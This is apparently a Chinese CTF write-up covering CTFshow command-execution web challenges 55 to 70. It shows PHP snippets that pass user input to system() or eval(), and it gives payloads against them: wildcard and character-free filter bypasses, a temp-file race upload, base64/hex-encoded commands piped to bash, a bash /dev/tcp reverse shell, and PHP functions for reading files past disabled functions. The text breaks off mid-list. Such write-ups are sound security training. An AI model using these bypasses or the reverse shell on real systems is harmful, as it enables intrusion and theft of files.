CTFshow刷题日记-WEB-命令执行下55-77

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了CTFshow刷题日记-WEB-命令执行下55-77相关的知识,希望对你有一定的参考价值。

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|[a-z]|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
        system($c);
    }

不能出现英文字符

方法1

?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用

方法2

bzip2的使用
bzip2是linux下面的压缩文件的命令
我们可以通过该命令压缩flag.php 然后进行下载
payload:?c=/???/???/???2 ???.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

方法3

发现 . 没有被过滤,.(点)的用法,就是相当于source可以执行命令

可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php???一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
注意:通过.去执行sh命令不需要有执行权限

需要构造一个post上传文件的数据包。

<!DOCTYPE html>
<html lang="en">
<head>
 <meta charset="UTF-8">
 <meta name="viewport" content="width=device-width, initial-scale=1.0">
 <title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
 <label for="file">文件名:</label>
 <input type="file" name="file" id="file"><br>
 <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后抓包如图

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OYz5U49N-1630725103224)(F:_笔记\\mdpic\\3.CTFshow刷题日记-WEB-命令执行\\watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70%23pic_center.png)]

构造poc执行命令
?c=.+/???/???[@-[]
注:后面的[@-[]是linux下面的匹配符,是进行匹配的大写字母。

然后在上传文件内容添加sh命令

#!/bin/sh
ls

直接读flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iwCQLsgj-1630725103229)(F:_笔记\\mdpic\\3.CTFshow刷题日记-WEB-命令执行\\watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzQ2MDkxNDY0,size_16,color_FFFFFF,t_70%23pic_center.png)]

总结
这道题主要是利用 上传文件到临时命令去通过.(点)去执行该上传文件的内容

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|[a-z]|[0-9]|\\\\$|\\(|\\{|\\'|\\"|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){
        system($c);
    }

无字母数字rce,使用上题的第三种方法即可

需要多刷新几次

web57

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\\;|[a-z]|[0-9]|\\`|\\|\\#|\\'|\\"|\\`|\\%|\\x09|\\x26|\\x0a|\\>|\\<|\\.|\\,|\\?|\\*|\\-|\\=|\\[/i", $c)){
        system("cat ".$c.".php");
    }

先上payload

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
  • ${_} 上次命令执行的结果
  • $(()) 进行运算
  • (("")) == 0

对((“”))=0,对((“”))取反即(( ((“”))))为-1,37个-1相减得到-37,再取反得到36

其他linux shell绕过

  • base64

    echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
    
  • Hex绕过

    echo "63617420666C61672E706870" | xxd -r -p|bash
    $(printf "\\x63\\x61\\x74\\x20\\x66\\x6c\\x61\\x67")
    
  • 拼接

    b=ag;a=fl;cat $a$b
    
  • 内联执行

    cat `ls`
    
  • 反弹shell

    靶机:bash -i >& /dev/tcp/主机的ip/8888 0>&1
    有公网ip的主机:nc -lvnp 8888 //监听8888端口
    

类型四:

PHP代码执行,突破禁用函数,绕过disable_functions

web58

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

使用system发现被禁止了

执行命令的函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

不行就直接读取文件,首先获取文件路径

函数名功能
scandir()扫目录用的,返回数组
getcwd()返回当前目录
glob()包含匹配指定模式的文件名或目录的数组
dir()返回 Directory 类的实例
opendir打开目录句柄
c=print_r(scandir(dirname('__FILE__')));

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

c=$a=opendir("./"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

c=$a=dir(getcwd());while ($file = $a->read()){echo $file . "<br>"; };

php读文件的函数有

readfile()			读取文件
fpassthru()			读取文件
highlight_file()	读文件
show_source()		同上
base64_decode()		base64解码
strrev()			反转字符串

echo file_get_contents("flag.php");   
print_r(file('flag.php'));
var_dump(file('flag.php'));
var_dump(glob("*flag*"));

通过fopen读取文件内容

通过fopen去读取文件内容,这里介绍下函数
fread()		
fread($file,100)    读取打开的文件,读取100个字节
fgets()		读取一行
fgetc()		读取一个字符
fgetss()
fgetcsv()	读取一行
gpassthru()
payload:
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}//一行一行读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}

payload

web59

index.php都是一样的

payload

c=highlight_file("flag.php");
c=var_dump(file("flag.php")); 
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

web60

payload

post:c=highlight_file("flag.php");
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}

注意:

$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetss($a);echo $line;} //php7.3版本后 该函数已不再被使用

曲线救国方法

//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
copy("flag.php","flag.txt");             //过60
rename("flag.php","flag.txt");           //过60

web61-65

payload

c=highlight_file("flag.php");
c=show_source("flag.php");

web66

首先获取文件路径

c=print_r(scandir(dirname('/')));
c=var_dump(scandir("/"));
发现flag.txt

payload

c=include('/flag.txt');

web67

print_r被ban了

c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };

c=include('/flag.txt');

web68-70

扫目录

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

c=$a=opendir("/"); while (($file = readdir($a)) !== false){echo $file . "<br>"; };
...

读文件

c=include('/flag.txt');
c=require('/flag.txt');
c=require_onceCTFshow刷题日记-WEB-文件上传

CTFshow刷题日记-WEB-SSTI(web361-372)

CTFshow刷题日记-WEB-SSRF(web351-360)SSRF总结

CTFshow刷题日记-WEB-文件包含

CTFshow刷题日记-WEB-爆破

CTFshow刷题日记-WEB-JWT(web345-350)